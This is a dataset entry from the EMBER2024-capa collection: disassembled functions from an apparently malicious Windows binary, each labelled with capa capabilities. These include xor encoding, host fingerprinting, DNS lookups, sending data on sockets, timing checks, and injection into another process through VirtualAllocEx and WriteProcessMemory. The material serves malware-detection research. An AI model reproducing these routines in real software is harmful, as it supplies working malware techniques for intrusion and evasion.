joyce8/EMBER2024-capa huggingface dataset:
Function at 0xd91ac3
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0xc
push esi
xor esi, esi
push str.Iphlpapi.dll
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, esi
je 0xd91b6b
push ebx
push str.GetAdaptersAddresses
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
pop ebx
cmp ebx, esi
je 0xd91b6a
push edi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
push esi
jmp 0xd91b1c
push dword [ebp - 8]
push dword [ebp - 4]
call fcn.00d9ebed
pop ecx
pop ecx
cmp eax, esi
je 0xd91b29
lea ecx, [ebp - 8]
push ecx
mov dword [ebp - 4], eax
push eax
push esi
push esi
push 2
call ebx
mov edi, eax
cmp edi, 0x6f
je 0xd91b03
cmp edi, esi
jne 0xd91b5b
mov eax, dword [ebp - 4]
cmp eax, esi
je 0xd91b69
mov edi, dword [eax + 0x34]
sub edx, edx
cmp edi, esi
jbe 0xd91b54
movzx ebx, byte [eax + edx + 0x2c]
mov ecx, edx
and ecx, 3
shl ecx, 3
shl ebx, cl
xor dword [ebp - 0xc], ebx
inc edx
cmp edx, edi
jb 0xd91b3d
mov eax, dword [eax + 8]
cmp eax, esi
jne 0xd91b34
cmp dword [ebp - 4], esi
je 0xd91b69
push dword [ebp - 4]
call fcn.00d9ec2e
pop ecx
pop edi
pop ebx
mov eax, dword [ebp - 0xc]
pop esi
leave
ret

Function at 0xd91bdf
Capabilities:
Encode data using xor
Get disk information
Get hostname

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x18
push ebx
push esi
push edi
sub eax, eax
xor ebx, ebx
mov byte [ebp - 0x18], bl
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
sub esi, esi
mov dword [ebp - 8], ebx
stosb byte es:[edi], al
mov dword [ebp - 4], 0xf
call fcn.00d91ac3
cmp eax, ebx
jne 0xd91c5a
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0xd91c45
sub eax, eax
cmp dword [ebp - 4], ebx
jbe 0xd91c45
movsx edx, byte [ebp + eax - 0x18]
mov ecx, eax
and ecx, 3
shl ecx, 3
shl edx, cl
xor esi, edx
inc eax
cmp eax, dword [ebp - 4]
jb 0xd91c26
cmp esi, ebx
je 0xd91c45
push esi
pop eax
jmp 0xd91c5a
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0xd92011
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x100
test byte [0xda22f4], 1
jne 0xd92034
or dword [0xda22f4], 1
push 0
call fcn.00d9f04e
pop ecx
mov dword [0xda22f0], eax
test byte [0xda22f4], 2
jne 0xd92051
or dword [0xda22f4], 2
push 0
call fcn.00d9f04e
pop ecx
mov dword [0xda22ec], eax
test byte [0xda22f4], 4
jne 0xd9206e
or dword [0xda22f4], 4
push 0
call fcn.00d9f04e
pop ecx
mov dword [0xda22e8], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
sub eax, dword [0xda22e0]
mov esi, dword [esp + 0x114]
mov ebx, 0xdbba0
cmp eax, ebx
jbe 0xd920db
mov eax, dword [section..data]
sub ebp, ebp
cmp byte [eax], 0
je 0xd920d4
mov eax, section..data
push dword [eax]
call fcn.00d92684
pop ecx
or eax, eax
je 0xd920bf
or dword [esi + 0x14], 4
push 0x50
push eax
call fcn.00d91978
pop ecx
pop ecx
or eax, eax
jne 0xd920d0
inc ebp
lea eax, [ebp*4 + section..data]
mov ecx, dword [eax]
cmp byte [ecx], 0
jne 0xd920a1
jmp 0xd920d4
or dword [esi + 0x14], 2
call edi
mov dword [0xda22e0], eax
call edi
sub eax, dword [0xda22dc]
cmp eax, ebx
jbe 0xd92132
mov eax, dword [section..data]
xor ebp, ebp
cmp byte [eax], 0
je 0xd9212b
mov eax, section..data
push dword [eax]
call fcn.00d92ef8
pop ecx
or eax, eax
je 0xd92116
or dword [esi + 0x14], 8
push 0x19
push eax
call fcn.00d91978
pop ecx
pop ecx
test eax, eax
jne 0xd92127
inc ebp
lea eax, [ebp*4 + section..data]
mov ecx, dword [eax]
cmp byte [ecx], 0
jne 0xd920f8
jmp 0xd9212b
or dword [esi + 0x14], 1
call edi
mov dword [0xda22dc], eax
call edi
mov ebp, 0x3e8
sub edx, edx
push ebp
pop ecx
div ecx
mov dword [esi + 0x28], eax
call edi
sub edx, edx
div ebp
xor ebx, ebx
push ebx
sub eax, dword [0xda2110]
mov dword [esi + 0x2c], eax
call fcn.00d9f04e
sub eax, dword [0xda22f0]
pop ecx
mov edi, str.localcfg
mov ebp, 0x4b0
cmp eax, dword [0xda22e4]
jbe 0xd921cb
push 0xda0264
push 0x100
lea eax, [esp + 0x18]
push eax
push str.rbl_bl
push edi
push 1
call fcn.00d9e854
push ebx
push str.rbl_ip
push edi
push 1
call fcn.00d9e819
add esp, 0x28
cmp eax, ebx
je 0xd921c1
cmp byte [esp + 0x10], bl
je 0xd921c1
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.00d91c5f
pop ecx
pop ecx
mov dword [esi + 0x38], eax
mov dword [0xda22e4], ebp
jmp 0xd921cb
mov dword [0xda22e4], 0x12c
push ebx
call fcn.00d9f04e
sub eax, dword [0xda22f0]
pop ecx
cmp eax, ebp
jbe 0xd921fa
push dword [esi + 0x14]
push str.net_type
push edi
push 1
call fcn.00d9ea84
push ebx
call fcn.00d9f04e
add esp, 0x14
mov dword [0xda22f0], eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x100
ret

Function at 0xd924c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 0x10]
xor ecx, ecx
not eax
cmp dword [ebp + 0xc], ecx
jne 0xd924d5
xor eax, eax
pop ebp
ret
jbe 0xd92504
mov edx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
xor eax, edx
push eax
pop edx
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0xda03b0]
mov edx, eax
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0xda03b0]
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0xd924d7
not eax
pop ebp
ret
Function at 0xd92508
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor ecx, ecx
push esi
mov esi, dword [ebp + 0x10]
inc ecx
or esi, esi
je 0xd9253e
mov edx, dword [ebp + 0xc]
sub edx, eax
push edi
mov di, word [edx + eax]
xor di, word [ebp + 0x14]
mov word [eax], di
mov edi, dword [ebp + 0x18]
add edi, ecx
add dword [ebp + 0x14], edi
neg ecx
add eax, 2
dec esi
movzx ecx, cx
jne 0xd9251f
pop edi
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret

Function at 0xd92544
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
mov cl, 1
test edi, edi
je 0xd92571
push esi
mov esi, dword [ebp + 0xc]
sub esi, eax
mov dl, byte [esi + eax]
xor dl, byte [ebp + 0x14]
mov byte [eax], dl
mov dl, cl
add dl, byte [ebp + 0x18]
neg cl
add byte [ebp + 0x14], dl
inc eax
dec edi
jne 0xd9255a
pop esi
mov eax, dword [ebp + 8]
pop edi
pop ebp
ret

Function at 0xd92684
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp byte [esi], 0
jne 0xd92692
sub eax, eax
pop esi
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0xd926b0
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0xd9268e
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
pop esi
ret

Function at 0xd926ff
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push esp
pop ebp
push ebx
push esi
push eax
pop esi
mov eax, dword [0xda2bf8]
sub ebx, ebx
push edi
mov edi, 0x400
cmp eax, ebx
jne 0xd92723
push edi
call fcn.00d9ebcc
pop ecx
mov dword [0xda2bf8], eax
push edi
push ebx
push eax
call fcn.00d9ee2a
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0xda2bf8]
mov edi, dword [sym.imp.WS2_32.dll_htons]
mov word [ecx], ax
mov eax, dword [0xda2bf8]
mov cx, word [ebp + 0x10]
push 1
mov word [eax + 2], cx
call edi
mov ecx, dword [0xda2bf8]
mov word [ecx + 4], ax
mov ecx, dword [0xda2bf8]
sub eax, eax
mov word [ecx + 6], ax
mov ecx, dword [0xda2bf8]
mov word [ecx + 8], ax
mov ecx, dword [0xda2bf8]
mov word [ecx + 0xa], ax
mov edx, dword [0xda2bf8]
sub ecx, ecx
cmp byte [esi], bl
je 0xd927cc
mov bl, byte [eax + esi]
mov dword [ebp + 0x10], eax
jmp 0xd927a0
cmp bl, 0x2e
je 0xd927a4
inc dword [ebp + 0x10]
mov ebx, dword [ebp + 0x10]
mov bl, byte [ebx + esi]
test bl, bl
jne 0xd92792
mov bl, byte [ebp + 0x10]
sub bl, al
mov byte [ecx + edx + 0xc], bl
inc ecx
jmp 0xd927b9
mov bl, byte [eax + esi]
mov byte [ecx + edx + 0xc], bl
inc ecx
inc eax
cmp eax, dword [ebp + 0x10]
jl 0xd927b0
cmp byte [eax + esi], 0x2e
jne 0xd927c5
inc eax
sub ebx, ebx
cmp byte [eax + esi], bl
jne 0xd9278a
push 0xf
mov byte [ecx + edx + 0xc], bl
lea esi, [ecx + 0xd]
call edi
mov ecx, dword [0xda2bf8]
push 1
mov word [ecx + esi], ax
call edi
mov ecx, dword [0xda2bf8]
push 0x10
push dword [ebp + 0xc]
mov word [ecx + esi + 2], ax
push ebx
add esi, 4
push esi
push 0xda2bf8
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_sendto]
sub ecx, ecx
or eax, eax
setle cl
pop edi
pop esi
pop ebx
push ecx
pop eax
pop ebp
ret
Function at 0xd92df2
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov esi, str.iphlpapi.dll
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0xd92e10
cmp eax, 0xffffffff
jne 0xd92e17
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
or eax, eax
je 0xd92ef1
cmp eax, 0xffffffff
je 0xd92ef1
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
or edi, edi
je 0xd92ef1
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0x4000
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0xc]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esi
call edi
or eax, eax
jne 0xd92ef1
mov edi, dword [ebp - 4]
and dword [ebp - 8], eax
add edi, 0x10c
je 0xd92ede
lea esi, [edi + 4]
test esi, esi
je 0xd92ed8
push 2
pop eax
push 0x35
mov word [ebp - 0x1c], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
mov word [ebp - 0x1a], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x18], eax
test eax, eax
je 0xd92ea5
cmp eax, 0xffffffff
jne 0xd92eba
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
or eax, eax
je 0xd92ed8
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
or eax, eax
je 0xd92ed8
cmp eax, 0xffffffff
je 0xd92ed8
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.00d92ceb
pop ecx
pop ecx
mov dword [ebp - 8], eax
or eax, eax
jne 0xd92ede
mov edi, dword [edi]
or edi, edi
jne 0xd92e78
push dword [ebp - 4]
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
jmp 0xd92ef3
sub eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0xd930b5
Capabilities:
Get hostname
Resolve dns

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x80
push esi
mov esi, 0x80
push esi
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.00d9ee2a
add esp, 0xc
push esi
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
pop esi
test eax, eax
je 0xd930f6
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
leave
ret
sub eax, eax
leave
ret

Function at 0xd930fa
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push eax
pop ebx
jmp 0xd93122
call edi
sub eax, ebx
cmp eax, 0x1388
jae 0xd9312e
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push dword [esp + 0x14]
call esi
or eax, eax
jne 0xd9310f
pop edi
pop esi
pop ebx
ret
Function at 0xd93f18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
or eax, eax
jne 0xd93f7c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0xd93f86
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
or eax, eax
je 0xd93f86
cmp ebx, dword [ebp + 0x14]
jne 0xd93f86
sub eax, eax
inc eax
jmp 0xd93f88
xor eax, eax
pop esi
pop ebx
leave
ret

Function at 0xd93f8c
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0x14]
and dword [ebp + 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 0x14]
push eax
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0xd93ff0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0xd93ffa
push dword [ebp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
or eax, eax
je 0xd93ffa
cmp ebx, dword [ebp + 0x14]
jne 0xd93ffa
xor eax, eax
inc eax
jmp 0xd93ffc
sub eax, eax
pop esi
pop ebx
leave
ret

Function at 0xd94000
Capabilities:
Check if file exists

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push edi
sub edi, edi
or dword [esi], 0xffffffff
push 0
push 0x40000080
push 3
push 0
push 3
push 0xc0000000
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0xd94057
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0xd94052
cmp eax, 3
je 0xd94052
cmp eax, 5
je 0xd94059
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jl 0xd9400b
xor eax, eax
pop edi
pop esi
ret
mov dword [esi], eax
xor eax, eax
inc eax
jmp 0xd94054

Function at 0xd94bd1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
push ecx
pop esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push eax
pop ebp
add esi, 0xc
jmp 0xd94bff
call ebx
sub eax, ebp
cmp eax, 0x1388
jae 0xd94c08
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
call edi
test eax, eax
jne 0xd94bec
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0xd962b7
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [edi], ax
je 0xd962d2
sub eax, eax
jmp 0xd96375
mov ecx, dword [edi + 0x3c]
add ecx, edi
cmp dword [ecx], 0x4550
jne 0xd962cb
mov eax, dword [ebp + 0xc]
sub eax, dword [ecx + 0x34]
mov edx, dword [ecx + 0xa4]
and dword [ebp - 8], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0xa0]
push ebx
add eax, edi
push esi
mov dword [ebp - 0x14], edx
test edx, edx
je 0xd9636a
mov edx, dword [eax + 4]
add dword [ebp - 8], edx
mov esi, dword [eax]
and dword [ebp - 4], 0
add edx, 0xfffffff8
shr edx, 1
add esi, edi
or edx, edx
jle 0xd9635f
mov edi, dword [ebp - 4]
movzx edi, word [eax + edi*2 + 8]
push edi
pop ebx
shr ebx, 0xc
test ebx, ebx
je 0xd96354
cmp ebx, 3
je 0xd96335
cmp ebx, 0xa
jne 0xd96378
and edi, 0xfff
add edi, esi
mov dword [ebp - 0x10], edi
mov edi, dword [edi]
mov ebx, edi
sub ebx, dword [ecx + 0x34]
cmp ebx, dword [ecx + 0x50]
ja 0xd96378
add edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x10]
mov dword [ebx], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0xd9631a
mov edi, dword [ebp + 8]
mov edx, dword [ebp - 8]
add eax, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
jb 0xd96303
mov eax, dword [ebp + 0xc]
mov dword [ecx + 0x34], eax
xor eax, eax
inc eax
pop esi
pop ebx
pop edi
leave
ret
xor eax, eax
jmp 0xd96373

Function at 0xd9637c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push esp
pop ebp
push ecx
cmp dword [ebp + 0xc], 0
jne 0xd9638a
xor eax, eax
leave
ret
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov eax, dword [edi + 0x3c]
mov ebx, dword [eax + edi + 0x50]
push 4
mov esi, 0x1000
push esi
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
or eax, eax
je 0xd963f5
push ebx
push edi
push eax
call fcn.00d9ee08
add esp, 0xc
push 0x40
push esi
push ebx
push 0
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push eax
pop esi
test esi, esi
je 0xd963f5
push esi
push dword [ebp - 4]
call fcn.00d962b7
pop ecx
pop ecx
push 0
push ebx
push dword [ebp - 4]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
or eax, eax
jne 0xd963f9
xor eax, eax
jmp 0xd9640b
mov eax, dword [ebp + 0x14]
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
sub esi, edi
add esi, dword [ebp + 8]
mov dword [eax], esi
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0xd96410
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0xd96421
xor eax, eax
ret
push edi
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0xd9643a
mov eax, 0x14c
cmp word [edi + 4], ax
je 0xd9643e
sub eax, eax
pop edi
ret
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x1000
push dword [edi + 0x50]
push dword [edi + 0x34]
call esi
mov ebx, eax
or ebx, ebx
jne 0xd96472
push 4
push 0x1000
push dword [edi + 0x50]
push eax
call esi
push eax
pop ebx
or ebx, ebx
je 0xd964fc
push 0x14
call fcn.00d9ebcc
mov esi, eax
xor eax, eax
pop ecx
cmp esi, eax
je 0xd964fc
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esi + 4], ebx
mov ecx, dword [edi + 0x54]
add ecx, dword [eax + 0x3c]
push ecx
push eax
push ebx
call fcn.00d9ee08
mov ecx, dword [esp + 0x1c]
mov eax, dword [ecx + 0x3c]
push esi
add eax, ebx
push edi
mov dword [esi], eax
push ecx
mov dword [eax + 0x34], ebx
call fcn.00d95ec5
push ebx
pop eax
add esp, 0x18
sub eax, dword [edi + 0x34]
je 0xd964c9
push eax
push esi
call fcn.00d95feb
pop ecx
pop ecx
push esi
call fcn.00d96069
pop ecx
test eax, eax
je 0xd964f5
push esi
call fcn.00d95f3f
mov eax, dword [esi]
mov eax, dword [eax + 0x28]
pop ecx
or eax, eax
je 0xd96503
add eax, ebx
je 0xd964f5
push 0
sub edi, edi
inc edi
push edi
push ebx
call eax
test eax, eax
jne 0xd96500
push esi
call fcn.00d96246
pop ecx
sub eax, eax
jmp 0xd96505
mov dword [esi + 0x10], edi
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0xd96987
Capabilities:
Enumerate pe sections
Write file on windows

Disassembly:
push ebp
push esp
pop ebp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov eax, dword [edi + 0x3c]
add eax, edi
movzx esi, word [eax + 6]
movzx ecx, word [eax + 0x14]
dec esi
imul esi, esi, 0x28
lea ecx, [ecx + eax + 0x18]
mov eax, dword [ebp + 0x14]
add esi, ecx
mov ebx, dword [esi + 0x14]
sub eax, ebx
mov dword [ebp - 4], eax
cmp ebx, dword [ebp + 0x10]
jae 0xd969e0
mov ecx, dword [esi + 0x10]
test ecx, ecx
je 0xd969e0
xor edx, edx
div ecx
mov dword [ebp - 8], ecx
mov dword [ebp + 0x14], eax
sub eax, eax
inc eax
cmp dword [ebp + 0x14], eax
jge 0xd969d5
mov dword [ebp + 0x14], eax
mov eax, dword [ebp + 0x14]
imul eax, ecx
mov dword [esi + 0x10], eax
jmp 0xd969e4
and dword [ebp + 0x14], 0
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
push ebx
push edi
push dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
call edi
or eax, eax
je 0xd96a4d
cmp dword [ebp - 4], ebx
jne 0xd96a4d
cmp dword [ebp + 0x14], 0
je 0xd96a3c
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [esi + 0x14]
push dword [ebp - 8]
add eax, dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call edi
or eax, eax
mov eax, dword [ebp - 4]
je 0xd96a40
cmp eax, dword [ebp - 8]
jne 0xd96a40
add ebx, eax
dec dword [ebp + 0x14]
jne 0xd96a10
mov eax, ebx
jmp 0xd96a5b
add ebx, eax
cmp ebx, dword [ebp + 0x10]
sbb eax, eax
not eax
and eax, ebx
jmp 0xd96a5b
cmp dword [ebp + 0x14], 0
je 0xd96a59
mov eax, dword [ebp - 8]
mov dword [esi + 0x10], eax
sub eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0xd96a60
Capabilities:
Delete file
Get disk size

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x1c
push ebx
push esi
mov esi, dword [ebp + 8]
sub ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0xd96b8c
mov al, byte [esi]
mov byte [ebp - 4], al
mov al, byte [esi + 1]
mov byte [ebp - 3], al
mov al, byte [esi + 2]
push edi
mov edi, dword [ebp + 0x10]
mov byte [ebp - 2], al
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 4]
push eax
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
test eax, eax
je 0xd96b1d
mov eax, dword [ebp - 0x10]
imul eax, dword [ebp - 0x14]
push ebx
push dword [ebp - 0xc]
push ebx
push eax
call fcn.00d9eb0e
add esp, 0x10
cmp edx, ebx
jl 0xd96b1d
jg 0xd96ae7
cmp eax, 0x6400000
jbe 0xd96afd
call fcn.00d9eca5
sub edx, edx
mov ecx, 0x500000
div ecx
lea edi, [edx + 0xa00000]
jmp 0xd96b1d
cmp edx, ebx
jl 0xd96b1d
jg 0xd96b0a
cmp eax, 0x3200000
jbe 0xd96b1d
call fcn.00d9eca5
push eax
pop edi
and edi, 0x1fffff
add edi, 0x300000
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 8]
call fcn.00d96987
add esp, 0x10
mov dword [ebp - 0x18], eax
cmp eax, ebx
jne 0xd96b56
mov dword [0xda2180], 0x55010102
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0xda217c], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0xd96b7f
push dword [ebp - 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
test eax, eax
jne 0xd96b86
mov dword [0xda2180], 0x55010103
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 8]
mov dword [0xda217c], eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x18]
pop edi
jmp 0xd96ba3
mov dword [0xda2180], 0x55010101
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0xda217c], eax
xor eax, eax
pop esi
pop ebx
leave
ret